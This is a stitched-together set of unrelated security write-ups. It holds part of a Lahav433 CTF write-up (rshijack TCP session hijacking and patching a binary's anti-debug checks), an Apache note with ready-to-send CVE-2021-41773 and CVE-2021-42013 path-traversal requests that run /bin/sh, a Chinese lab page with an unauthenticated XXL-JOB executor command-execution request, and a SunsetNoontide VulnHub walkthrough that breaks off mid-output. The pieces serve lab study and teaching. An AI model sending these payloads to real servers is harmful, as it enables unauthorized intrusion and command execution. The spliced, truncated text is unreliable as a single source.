275.949808104 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=176 Ack=87 Win=29056 Len=25 TSval=2886710273 TSecr=3333909706 39926 57984 54 275.949952052 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=87 Ack=201 Win=512 Len=0 57984 39926 55 281.874257810 192.168.54.152 → 192.168.54.150 TCP 70 57984 → 39926 [PSH, ACK] Seq=87 Ack=201 Win=2048 Len=16 57984 39926 56 281.875473920 192.168.54.150 → 192.168.54.152 TCP 68 39926 → 57984 [PSH, ACK] Seq=201 Ack=103 Win=29056 Len=2 TSval=2886716195 TSecr=3333909706 39926 57984 57 281.875965189 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=103 Ack=203 Win=512 Len=0 57984 39926 58 287.011017897 192.168.54.152 → 192.168.54.150 TCP 61 57984 → 39926 [PSH, ACK] Seq=103 Ack=203 Win=896 Len=7 57984 39926 59 287.011482773 192.168.54.150 → 192.168.54.152 TCP 89 39926 → 57984 [PSH, ACK] Seq=203 Ack=110 Win=29056 Len=23 TSval=2886721329 TSecr=3333909706 39926 57984 60 287.011631906 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=110 Ack=226 Win=512 Len=0 57984 39926 61 289.507993227 192.168.54.152 → 192.168.54.150 TCP 57 57984 → 39926 [PSH, ACK] Seq=110 Ack=226 Win=384 Len=3 57984 39926 62 289.508520672 192.168.54.150 → 192.168.54.152 TCP 140 39926 → 57984 [PSH, ACK] Seq=226 Ack=113 Win=29056 Len=74 TSval=2886723825 TSecr=3333909706 39926 57984 63 289.508670804 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=113 Ack=300 Win=512 Len=0 57984 39926 64 291.749411741 192.168.54.152 → 192.168.54.150 TCP 59 57984 → 39926 [PSH, ACK] Seq=113 Ack=300 Win=640 Len=5 57984 39926 65 291.749876905 192.168.54.150 → 192.168.54.152 TCP 91 39926 → 57984 [PSH, ACK] Seq=300 Ack=118 Win=29056 Len=25 TSval=2886726065 TSecr=3333909706 39926 57984 66 291.750020677 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=118 Ack=325 Win=512 Len=0 57984 39926 67 292.064874584 PcsCompu_17:82:1b → PcsCompu_14:69:d5 ARP 42 Who has 192.168.54.150? Tell 192.168.54.151 68 292.065925686 PcsCompu_14:69:d5 → PcsCompu_17:82:1b ARP 60 192.168.54.150 is at 08:00:27:14:69:d5 69 295.383209517 192.168.54.152 → 192.168.54.150 TCP 63 57984 → 39926 [PSH, ACK] Seq=118 Ack=325 Win=1152 Len=9 57984 39926 70 295.383862265 192.168.54.150 → 192.168.54.152 TCP 90 39926 → 57984 [PSH, ACK] Seq=325 Ack=127 Win=29056 Len=24 TSval=2886729697 TSecr=3333909706 39926 57984 71 295.384054571 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=127 Ack=349 Win=512 Len=0 57984 39926 72 299.128980064 192.168.54.152 → 192.168.54.150 TCP 62 57984 → 39926 [PSH, ACK] Seq=127 Ack=349 Win=1024 Len=8 57984 39926 73 299.129457612 192.168.54.150 → 192.168.54.152 TCP 120 39926 → 57984 [PSH, ACK] Seq=349 Ack=135 Win=29056 Len=54 TSval=2886733441 TSecr=3333909706 39926 57984 74 299.130427192 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=135 Ack=403 Win=512 Len=0 57984 39926 75 302.442721723 192.168.54.152 → 192.168.54.150 TCP 59 57984 → 39926 [PSH, ACK] Seq=135 Ack=403 Win=640 Len=5 57984 39926 76 302.443180559 192.168.54.150 → 192.168.54.152 TCP 117 39926 → 57984 [PSH, ACK] Seq=403 Ack=140 Win=29056 Len=51 TSval=2886736753 TSecr=3333909706 39926 57984 77 302.443325328 192.168.54.152 → 192.168.54.150 TCP 54 57984 → 39926 [ACK] Seq=140 Ack=454 Win=512 Len=0 57984 39926 ``` Packets 1-36 are the real client communicating with the server. Starting from packet #37, the session is hijacked and we are communicating with the server via the `rshijack` console (notice how the IP stays the same even though this is a different VM): ```console # ./rshijack eth2 192.168.54.152:57984 192.168.54.150:39926 Waiting for SEQ/ACK to arrive from the srcip to the dstip. (To speed things up, try making some traffic between the two, /msg person asdf) DEBUG 2019-02-19T20:04:01Z: rshijack::net: eth: EthernetFrame { source_mac: MacAddress([8, 0, 39, 244, 81, 250]), dest_mac: MacAddress([8, 0, 39, 20, 105, 213]), ethertype: IPv4 } DEBUG 2019-02-19T20:04:01Z: rshijack::net: ip4: IPv4Header { version: 4, ihl: 20, tos: 0, length: 60, id: 5104, flags: 2, fragment_offset: 0, ttl: 64, protocol: TCP, chksum: 14413, source_addr: 192.168.54.152, dest_addr: 192.168.54.150 } DEBUG 2019-02-19T20:04:01Z: rshijack::net: tcp: TcpHeader { source_port: 57984, dest_port: 39926, sequence_no: 4024149525, ack_no: 994209791, data_offset: 8, reserved: 0, flag_urg: false, flag_ack: true, flag_psh: true, flag_rst: false, flag_syn: false, flag_fin: false, window: 229, checksum: 47701, urgent_pointer: 0, options: None } [+] Got packet! SEQ = 0xefdba61d, ACK = 0x3b426fff Starting hijack session, Please use ^D to terminate. Anything you enter from now on is sent to the hijacked TCP connection. test wrong password, try again laeyobmsamlrdmyh ok whoami LUKE, I am your father! ls 420240 canudoit.zip 4096 Downloads 4096 Home 4096 Publictime It's time to say GOODBYE! get flag your flag is: 4****** get key AES key=4dJhvjFRn2oXraty iv=1234567890123456 MODE_CBC help I really want to help you, but I hate get COMMANDS! ``` The `ls` command reveals the existence of `canudoit.zip`. We can download this file by creating a script that connects to the server on port 11111, receives the 16-byte buffer, decrypts it using the crypto details provided by `get key`, sends a `downloadfile canudoit.zip` command and reads the response into a file. Since we already have the file from the easy solution, we'll skip that. On we go, to the next level. ```console root@kali:~/CTFs/433# unzip canudoit.zip Archive: canudoit.zip inflating: instructions.txt inflating: run.exe root@kali:~/CTFs/433# cat instructions.txt Disable any anti-malware software on your computer and run the application!! If you are tired at this point - send your cv to: cv-cyberunit@police.gov.il dont forget to add the flag number (use'get flag') root@kali:~/CTFs/433# file run.exe run.exe: PE32 executable (console) Intel 80386, for MS Windows ``` So we have a request to disable any anti-malware software on the computer (always nice to hear), and a Windows executable. As always, we'll be running in a virtual machine. Running the application produces the following error message: ![](images/run.png) At first, I thought that this is some protection against running in virtual machines. However, I couldn't find any in the assembly. Back to Yaakov, then. Most of the credit goes to him for this reversing stage, I just followed his steps. Thanks to [Dor](https://binary4fun.wordpress.com/) too for his helpful hints! In order to disassemble the program, I worked with IDA, however the snippets below will be taken from Radare2 since it's possible to copy text from there. The first things that jumps to the eye when reviewing the list of functions is the existence of a TLS callback. TLS Callbacks are traditionally used to initialize thread-specific data before a thread runs, and are therefore called before the entry point of the program. In other words, they can execute before the debugger breaks on the entry point. So, in order to make it harder to find anti-debugging checks, these anti-debugging checks are sometimes placed in the TLS Callback. ``` .----------------------------------------. | [0x4022d0] | | (fcn) entry1 192 | | entry1 (int arg_ch); | | ; var unsigned int local_ch @ ebp-0xc | | ; var unsigned int local_8h @ ebp-0x8 | | ; var int local_4h @ ebp-0x4 | | ; arg int arg_ch @ ebp+0xc | | push ebp | | mov ebp, esp | | sub esp, 0xc | | ; [0x43c06c:4]=0xbb40e64e | | mov eax, dword [0x43c06c] | | xor eax, ebp | | mov dword [local_4h], eax | | sub dword [arg_ch], 1 | | jne 0x402380;[ga] | `----------------------------------------' f t | | | '--------------------------------. .---------------------------------------' | | | .----------------------------------------------------------------------. | | 0x4022ea [gf] | | | lea eax, [local_8h] | | | push eax | | | ; 0x42a0bc | | | ; "\"\xb6\x03" | | | call dword [sym.imp.KERNEL32.dll_GetCurrentProcess];[gc] | | | push eax | | | ; 0x42a0c4 | | | call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent];[gd] | | | test eax, eax | | | je 0x40237b;[ge] | | `----------------------------------------------------------------------' | f t | | | | | '------------------------------. | .--' | | | | | .-------------------------------. .------------------------------------. | | 0x4022ff [gh] | | 0x40237b [ge] | | | cmp dword [local_8h], 0 | | ; CODE XREF from entry1 (0x4022fd) | | | je 0x40230a;[gg] | | call fcn.00402e00;[gi] | | `-------------------------------' `------------------------------------' | f t v | | | | | | '-----------------------------|--------------. | .-' | | | | '------------------------. | | | | .----------' | | | | .--------------------------. | .------------------------------------. | 0x402305 [gj] | | | 0x402380 [ga] | | call fcn.00402e00;[gi] | | | ; CODE XREF from entry1 (0x4022e4) | `--------------------------' | | mov ecx, dword [local_4h] | v | | xor ecx, ebp | | | | call fcn.0040c5e7;[gx] | | | | mov esp, ebp | | | | pop ebp | | | | ret 0xc | | | `------------------------------------' | | | | '-------------------. | | .--------------------------' | | .--------------------------------------------------------. | 0x40230a [gg] | | ; 0x437520 | | ; u"CyMutex" | | push str.CyMutex | | push 0 | | push 0 | | ; 0x42a0b8 | | ; "6\xb6\x03" | | call dword [sym.imp.KERNEL32.dll_CreateMutexW];[gk] | | ; 0x42a0b4 | | ; "F\xb6\x03" | | call dword [sym.imp.KERNEL32.dll_GetLastError];[gl] | | ; 183 | | cmp eax, 0xb7 | | jne 0x40232b;[gm] | `--------------------------------------------------------' f t | | | '------------------------------------. .-----' | | | .--------------------------. | | 0x402326 [gn] | | | call fcn.00402e00;[gi] | | `--------------------------' | v | | | .--' | | .---------------------------------------------' | | .------------------------------------. | 0x40232b [gm] | | ; CODE XREF from entry1 (0x402324) | | call sub.ntdll.dll_bc0;[go] | | push 0 | | test al, al | | jne 0x40233c;[gp] | `------------------------------------' f t | | | '------------. .--------------------------------------------' | | | .-------------------------------------------------------. .-------------------------------------------------------------. | 0x402336 [gr] | | 0x40233c [gp] | | ; 0x42a0b0 | | ; CODE XREF from entry1 (0x402334) | | ; "V\xb6\x03" | | ; 4 | | call dword [sym.imp.KERNEL32.dll_ExitProcess];[gq] | | push 4 | `-------------------------------------------------------' | lea eax, [local_ch] | | push eax | | ; 7 | | push 7 | | ; 0x42a0bc | | ; "\"\xb6\x03" | | call dword [sym.imp.KERNEL32.dll_GetCurrentProcess];[gc] | | push eax | | call dword [0x43dde8];[gs] | | ; CODE XREF from entry1 (0x40230c) | | cmp dword [local_ch], 0 | | jbe 0x40235c;[gt] | `-------------------------------------------------------------' f t | | | '------------------------. .' | | | | 0x402357 [gu] | | | call fcn.00402e00;[gi] | | `--------------------------' | v | | | .-----' | | .-------------------------------' | | .------------------------------------------------------------. | 0x40235c [gt] | | ; CODE XREF from entry1 (0x402355) | | push 0 | | ; 0x42a0ac | | ; "d\xb6\x03" | | call dword [sym.imp.KERNEL32.dll_GetConsoleWindow];[gv] | | push eax | | ; 0x42a1b8 | | call dword [sym.imp.USER32.dll_ShowWindow];[gw] | | mov ecx, dword [local_4h] | | xor ecx, ebp | | call fcn.0040c5e7;[gx] | | mov esp, ebp | | pop ebp | | ret 0xc | `------------------------------------------------------------' ``` We have two anti-debug checks here. The first one starts in the "gf" block, and consists of calling `CheckRemoteDebuggerPresent`: ``` BOOL WINAPI CheckRemoteDebuggerPresent( _In_ HANDLE hProcess, _Inout_ PBOOL pbDebuggerPresent ); ``` The result is placed in `local_8h`, and if the value is TRUE, this means that the process is being debugged. In this case, the program will call `fcn.00402e00`, which is a suicide function that jumps to a random location on the stack and crashes the program. Therefore, in order to bypass this check, we will patch the "gh" block: ```assembly cmp dword [local_8h], 0 je 0x40230a ``` We'll change `je` to `jmp` in order to never jump to the suicide function. The next anti-debug check is located in the "gp" block: ```assembly push 4 lea eax, [local_ch] push eax ; 7 push 7 ; 0x42a0bc ; "\"\xb6\x03" call dword [sym.imp.KERNEL32.dll_GetCurrentProcess];[gc] push eax call dword [0x43dde8];[gs] ; CODE XREF from entry1 (0x40230c) cmp dword [local_ch], 0 jbe 0x40235c;[gt] ``` `[0x43dde8]` is resolved in runtime to `NtQueryInformationProcess`: ``` __kernel_entry NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); ``` The `7` parameter is a request for `ProcessDebugPort`: > Retrieves a DWORD_PTR value that is the port number of the debugger for the process. A nonzero value indicates that the process is being run under the control of a ring 3 debugger. So `cmp dword [local_ch], 0` will jump to the suicide function if a debugger is present (the port is non-zero). We change the `jbe` to `jmp` in order to jump over the suicide function. Note that we have two additional references to `NtQueryInformationProcess` (a.k.a. `dword [0x43dde8]`) ``` [0x004022d0]> axt 0x43dde8 entry1 0x40234b [CALL] call dword [0x43dde8] main 0x4023b8 [CALL] call dword [0x43dde8] (nofunc) 0x402539 [CALL] call dword [0x43dde8] ``` Checking these calls shows that they are used for the same purpose. We patch them too in order to avoid the anti-debug checks. One last point of interest in the TLS callback is in the "gt" block: ``` push 0 ; 0x42a0ac ; "d\xb6\x03" call dword [sym.imp.KERNEL32.dll_GetConsoleWindow];[gv] push eax ; 0x42a1b8 call dword [sym.imp.USER32.dll_ShowWindow];[gw] ``` Here we have the `ShowWindow` function called with a command of 0 (SW_HIDE) ``` BOOL ShowWindow( HWND hWnd, int nCmdShow ); SW_HIDE (0) - Hides the window and activates another window. ``` So, in order to cancel the logic that hides the application's window, we patch the program and replace the `0` with a `1` (`SW_SHOWNORMAL`). Now we can run the program again (outside the debugger) and view the console. What we get is: ``` Error during CryptAcquireContext! 2148073494 ``` Let's find the location of the error in the assembly: ``` [0x00402b03]> iz~CryptAcquireContext 1370 0x00035c68 0x00437668 34 70 (.rdata) utf16le Error during CryptAcquireContext!\n 1516 0x00039ed6 0x0043b8d6 20 21 (.rdata) ascii CryptAcquireContextW [0x00402b03]> axt @ 0x00437668 sub.Microsoft_Enhanced_Cryptographic_Provider_v1.0_a00 0x402b05 [DATA] mov edx, str.Error_during_CryptAcquireContext ``` The exact logic is here: ```assembly 0x00402a44 8b35b4a04200 mov esi, dword sym.imp.KERNEL32.dll_GetLastError ; [0x42a0b4:4]=0x3b646 reloc.KERNEL32.dll_GetLastError ; ... 0x00402b03 ffd6 call esi 0x00402b05 ba68764300 mov edx, str.Error_during_CryptAcquireContext ; 0x437668 ; u"Error during CryptAcquireContext!\n" ``` Now we can debug and see that `rax` is `0000000080090016` (which is hex for the `2148073494` value we saw in the console). Searching for the error code in Google shows that this error is called `NTE_BAD_KEYSET` and is returned by `CryptAcquireContext` if: > The key container could not be opened. A common cause of this error is that the key container does not exist. To create a key container, call CryptAcquireContext using the CRYPT_NEWKEYSET flag. This error code can also indicate that access to an existing key container is denied. Access rights to the container can be granted by the key set creator by using CryptSetProvParam. The call itself to `CryptAcquireContext` is: ```assembly | 0x00402a13 6a00 push 0 | 0x00402a15 6a01 push 1 ; 1 | 0x00402a17 68a8754300 push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0 ; 0x4375a8 ; u"Microsoft Enhanced Cryptographic Provider v1.0" | 0x00402a1c 6a00 push 0 | 0x00402a1e 8d45f4 lea eax, [local_ch] | 0x00402a21 8955ec mov dword [local_14h], edx | 0x00402a24 50 push eax | 0x00402a25 8bf9 mov edi, ecx | 0x00402a27 c745f0000000. mov dword [local_10h], 0 | 0x00402a2e 32db xor bl, bl | 0x00402a30 c745f8000000. mov dword [local_8h], 0 | 0x00402a37 c745f4000000. mov dword [local_ch], 0 | 0x00402a3e ff1518a04200 call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW] ; 0x42a018 ``` And since the signature of the function is: ``` BOOL CryptAcquireContextW( HCRYPTPROV *phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags ); ``` This means that `CryptAcquireContextW` is called with `dwFlags` as 0. This actually looks like a bug in the implementation. Yaakov's solution was to patch the program and replace the `0` flag with an `8` (`CRYPT_NEWKEYSET`), run it once, revert the patch and run from then on with `0`, which resolved the crash. I later chose to lend [the following sample code](https://docs.microsoft.com/en-us/windows/desktop/api/wincrypt/nf-wincrypt-cryptacquirecontextw) from Microsoft's documentation, modify it and run the following program on my virtual machine: ```c #include "stdafx.h" #include <Windows.h> #include <Wincrypt.h> int main() { HCRYPTPROV hCryptProv = NULL; if (CryptAcquireContext( &hCryptProv, // handle to the CSP NULL, // container name MS_ENHANCED_PROV, // provider PROV_RSA_FULL, // provider type 0)) // flag values { printf("A cryptographic context has been acquired.\n\n"); } else { //------------------------------------------------------------------- // An error occurred in acquiring the context. This could mean // that the key container requested does not exist. In this case, // the function can be called again to attempt to create a new key // container. Error codes are defined in Winerror.h. if (GetLastError() == NTE_BAD_KEYSET) { if (CryptAcquireContext( &hCryptProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) { printf("A new key container has been created.\n"); } else { printf("Could not create a new key container.\n"); exit(1); } } else { printf("A cryptographic service handle could not be " "acquired.\n"); exit(1); } } if (CryptReleaseContext(hCryptProv, 0)) { printf("The handle has been released.\n"); } else { printf("The handle could not be released.\n"); } return 0; } ``` Output from running the program: ```console C:\Users\User\Desktop\CTF\433>CryptoApp.exe A new key container has been created. The handle has been released. ``` This also resolved the crash, and finally allowed to run the program as intended. We see a console printing a few strings, then disappearing again. However, the program did not exit, as we can see from inspecting the [Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon), it just hid the console again and spawned a child: ![](images/proc_explorer.png) After waiting for a while with the child process eating up ~100% CPU, we get the following alert: ![](images/reverse1.png) We can use [OllyDumpEx](https://low-priority.appspot.com/ollydumpex/) to dump the child process and inspect it: ![](images/ollydump.png) Now that we have dumped the process, we can open it with a disassembler. Searching for interesting strings, we find the string from the message box: ``` [0x004024bd]> iz~VERY 1404 0x0002f4d0 0x0042f4d0 69 70 (.rdata) ascii VERY NICE, YOU HAVE SUCCESSFULLY DETACHED MY PACKER.\nONE MORE PUSH !\n [0x004024bd]> axt @ 0x0042f4d0 main 0x4021e6 [DATA] push str.VERY_NICE__YOU_HAVE_SUCCESSFULLY_DETACHED_MY_PACKER.__ONE_MORE_PUSH [0x004024bd]> s 0x4021e6 [0x004021e6]> ``` The relevant part is: ``` .-------------------------------------------------------------------------------------. | [0x4021df] | | ; CODE XREF from main (0x402253) | | push 0 | | ; 0x42f4b8 | | ; "Lahav433 Message" | | push str.Lahav433_Message | | ; 0x42f4d0 | | ; "VERY NICE, YOU HAVE SUCCESSFULLY DETACHED MY PACKER.\nONE MORE PUSH !\n" | | push str.VERY_NICE__YOU_HAVE_SUCCESSFULLY_DETACHED_MY_PACKER.__ONE_MORE_PUSH | | push 0 | | ; 0x4221a4 | | ; "0\x88Aw" | | call dword [sym.imp.USER32.dll_MessageBoxA];[gBa] | | push 0 | | push 0 | | push 0 | | ; '0&@' | | ; "U\x8b\xec\x83\xec\x14\xa1l C" | | push 0x402630 | | push 0 | | push 0 | | ; 0x422010 | | call dword [sym.imp.KERNEL32.dll_CreateThread];[gBb] | | mov esi, eax | | test esi, esi | | je 0x402255;[gBc] | `-------------------------------------------------------------------------------------' f t | | | '---------------. .-----------------------------------------------------' | | | .--------------------------------------------------------. .----------------------------------. | 0x40220e [gBg] | | 0x402255 [gBc] | | ; 1000 | | ; CODE XREF from main (0x40220c) | | push 0x3e8 | | ; 0x42f518 | | ; 0x422014 | | ; "NOT COOL 2\n" | | call dword [sym.imp.KERNEL32.dll_Sleep];[gBe] | | push str.NOT_COOL_2 | | push 0 | | call fcn.004038b0;[gq] | | push esi | | mov ecx, dword [local_4h] | | push 0x402280 | | add esp, 4 | | ; 0x422018 | | xor ecx, ebp | | call dword [sym.imp.KERNEL32.dll_QueueUserAPC];[gBf] | | mov eax, 1 | | ; [0x4329fc:4]=1 | | pop edi | | mov eax, dword [0x4329fc] | | pop esi | | nop dword [eax] | | pop ebx | `--------------------------------------------------------' | call fcn.00405c92;[gBi] | v | mov esp, ebp | | | pop ebp | | | ret | | `----------------------------------' | .--------. | | | | |.----------------------------------. || 0x402230 [gBh] | || ; CODE XREF from main (0x402232) | || test eax, eax | || jne 0x402230;[gBh] | |`----------------------------------' | f t | | | `----------' .---' .----------------------------------. | 0x402234 [gBj] | | push esi | | call ebx | | pop edi | | pop esi | | xor eax, eax | | pop ebx | | mov ecx, dword [local_4h] | | xor ecx, ebp | | call fcn.00405c92;[gBi] | | mov esp, ebp | | pop ebp | | ret | `----------------------------------' ``` We can see that a thread is created with `0x402630` as the start address. Then, after a short `sleep`, the program calls `QueueUserAPC` with `0x402280` as the `pfnAPC` function. Immediately after, the program enters an endless loop, polling `eax`. So what's happening here? To understand that, we first need to understand what `QueueUserAPC` does. ``` DWORD QueueUserAPC( PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData ); ``` > QueueUserAPC function > > Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread. > > pfnAPC: A pointer to the application-supplied APC function to be called when the specified thread performs an alertable wait operation. > > hThread: A handle to the thread. This function takes a thread and a callback. It then registers the callback in a way that this callback will be called when the thread performs an alertable wait operation. What is this callback? From an overview of the function, we see that it has some positive strings, such as "your token is" and "Congratulations". So we probably want to run the function. ``` .--------------------------------------------------------------------. | 0x4023be [gn] | | 0x004023c1 str.Ok_a_UlAefx___j_u2j__d7_O:Os___V__AZF_TRF__k__BBFST | | 0x004023c9 call fcn.00402a20 | | 0x004023de str.your_token_is | `--------------------------------------------------------------------' f t | | | '------------------------------. .--' | | | .------------------------------. .------------------------------. | 0x4023e8 [gq] | | 0x40240c [gm] | | 0x004023fb call fcn.004076e0 | | 0x00402418 call fcn.004030e0 | `------------------------------' `------------------------------' v v | | '------------------------. | | .--------' | | .--------------------. | 0x40241d [gp] | `--------------------' f t | | | '------. .--------------------------' | | | .------------------------------. .------------------------------. | 0x40246f [gu] | | 0x402497 [gs] | | 0x00402483 call fcn.004076e0 | | 0x004024a2 call fcn.004030e0 | `------------------------------' `------------------------------' v v | | '-. .-------------------------------' | | .-------------------------------------------------------------------. | 0x4024aa [gt] | | 0x004024bd str.Congratulations | | 0x004024f8 call dword [sym.imp.USER32.dll_MessageBoxA] "0\x88Aw" | `-------------------------------------------------------------------' ``` Back to the thread, what does it do? ``` .-----------------------------------. | [0x402630] | | (fcn) fcn.00402630 96 | | fcn.00402630 (); | | ; var int local_14h @ ebp-0x14 | | ; var int local_4h @ ebp-0x4 | | ; DATA XREF from main (0x4021f9) | | push ebp | | mov ebp, esp | | sub esp, 0x14 | | ; [0x43206c:4]=0x15766e35 | | ; "5nv\x15u\x98" | | mov eax, dword [0x43206c] | | xor eax, ebp | | mov dword [local_4h], eax | | ; [0x4329fc:4]=1 | | cmp dword [0x4329fc], 0 | | je 0x40267e;[ga] | `-----------------------------------' f t | | | '-------------------------. .---------------------------------' | | | .-------------------------------------------------------------. | | 0x402649 [gc] | | | push ebx | | | push esi | | | mov esi, dword sym.imp.KERNEL32.dll_SleepEx | | | ; 2032 | | | mov ebx, 0x7f0 | | | push edi | | | mov edi, dword sym.imp.KERNEL32.dll_GetSystemTime | | | nop dword [eax] | | `-------------------------------------------------------------' | v | | | '----------. | .--------. | | | | | |.------------------------------------------. | || 0x402660 [ge] | | || ; CODE XREF from fcn.00402630 (0x402679) | | || lea eax, [local_14h] | | || push eax | | || call edi | | || cmp word [local_14h], bx | | || jne 0x402672;[gd] | | |`------------------------------------------' | | f t | | | | | | | '-----------------------------------------. | | '. | | | | | | | .--------------------------------. | | | | 0x40266c [gf] | | | | | ; 1 | | | | | push 1 | | | | | push 0xffffffffffffffff | | | | | call esi | | | | `--------------------------------' | | | v | | | | | | | .--' | | | | .-------------------------------------------' | | | | | |.------------------------------------------. | || 0x402672 [gd] | | || ; CODE XREF from fcn.00402630 (0x40266a) | | || ; [0x4329fc:4]=1 | | || cmp dword [0x4329fc], 0 | | || jne 0x402660;[ge] | | |`------------------------------------------' | | f t | | | | | `----------' | '------. | | | .--------------------. | | 0x40267b [gg] | | | pop edi | | | pop esi | | | pop ebx | | `--------------------' | v | | | '-------. | | .-------------------------------' | | .------------------------------------------. | 0x40267e [ga] | | ; CODE XREF from fcn.00402630 (0x402647) | | mov ecx, dword [local_4h] | | xor eax, eax | | xor ecx, ebp | | call fcn.00405c92;[gh] | | mov esp, ebp | | pop ebp | | ret 4 | `------------------------------------------' ``` First, it sets up `SleepEx` in esi: ```assembly mov esi, dword sym.imp.KERNEL32.dll_SleepEx ``` `SleepEx` has the following API: ``` DWORD SleepEx( DWORD dwMilliseconds, BOOL bAlertable ); ``` The `bAlertable` parameter has the following documentation: > If the parameter is TRUE and the thread that called this function is the same thread that called the extended I/O function (ReadFileEx or WriteFileEx), the function returns when either the time-out period has elapsed or when an I/O completion callback function occurs. If an I/O completion callback occurs, the I/O completion function is called. > > If an APC is queued to the thread (QueueUserAPC), the function returns when either the timer-out period has elapsed or when the APC function is called. So calling `SleepEx` with `bAlertable` is exactly the alertable wait operation we read about earlier. Then, we can see that it performs `mov ebx, 0x7f0` (0x7f0 = 2032), and proceeds by calling `GetSystemTime`. `local_14h` will contain the current year, which is then compared to `bx`: ```assembly cmp word [local_14h], bx ``` If they are unequal, the code loops around. The interesting case is if they are equal, which causes the function to jump to: ```assembly push 1 push 0xffffffffffffffff call esi ``` This is exactly what we want - an alertable wait for a very long time which will allow our callback to run. So, we just need to change the year to 2032 and wait for the prize: ![](images/reverse2.png) All done (and thanks again to Yaakov and Dor for their help in the reversing challenge).
sec-knowleage
# Apache (HTTP Server) Common Bugs ## Introduction What would you do if you came across a website that uses Apache (HTTP Server)? ## How to Detect Usually in the HTTP response there is a header like this `Server: Apache` or `Server: Apache/2.4.50` and check the 404 page 1. Find the related CVE by checking Apache (HTTP Server) version * How to find the Apache (HTTP Server) version By checking the response header or using 404 page, sometimes the version is printed there. If you found outdated Apache (HTTP Server) version, find the CVEs at [CVE Details](https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/Apache-Http-Server.html) Some example CVE: - CVE-2021-41773 (RCE and LFI) ``` POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: */* Content-Length: 7 Content-Type: application/x-www-form-urlencoded Connection: close echo;id ``` - CVE-2021-42013 (RCE and LFI) ``` POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 7 echo;id ```
sec-knowleage
# XXL-JOB executor 未授权访问漏洞 XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。 参考链接: - https://mp.weixin.qq.com/s/jzXIVrEl0vbjZxI4xlUm-g - https://landgrey.me/blog/18/ - https://github.com/OneSourceCat/XxlJob-Hessian-RCE ## 环境搭建 执行如下命令启动2.2.0版本的XXL-JOB: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可查看到管理端(admin),访问`http://your-ip:9999`可以查看到客户端(executor)。 ## 漏洞复现 向客户端(executor)发送如下数据包,即可执行命令: ``` POST /run HTTP/1.1 Host: your-ip:9999 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 365 { "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "touch /tmp/success", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 } ``` ![](1.png) `touch /tmp/success`已成功执行: ![](2.png) 另外,低于2.2.0版本的XXL-JOB没有RESTful API,我们可以通过[Hessian反序列化](https://github.com/OneSourceCat/XxlJob-Hessian-RCE)来执行命令。
sec-knowleage
# SunsetNoontide > https://download.vulnhub.com/sunset/noontide.ova 靶场IP:`192.168.2.11` 扫描对外端口服务 ``` ┌──(root㉿kali)-[/tmp] └─# nmap -p1-65535 -sV 192.168.2.11 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-05 10:46 EDT Nmap scan report for 192.168.2.11 Host is up (0.000086s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 6667/tcp open irc UnrealIRCd 6697/tcp open irc UnrealIRCd 8067/tcp open irc UnrealIRCd MAC Address: 08:00:27:D1:0B:B3 (Oracle VirtualBox virtual NIC) Service Info: Host: irc.foonet.com Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.23 seconds ``` 搜索UnrealIRCd版本 ``` ┌──(root㉿kali)-[/tmp] └─# searchsploit UnrealIRCd ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- UnrealIRCd 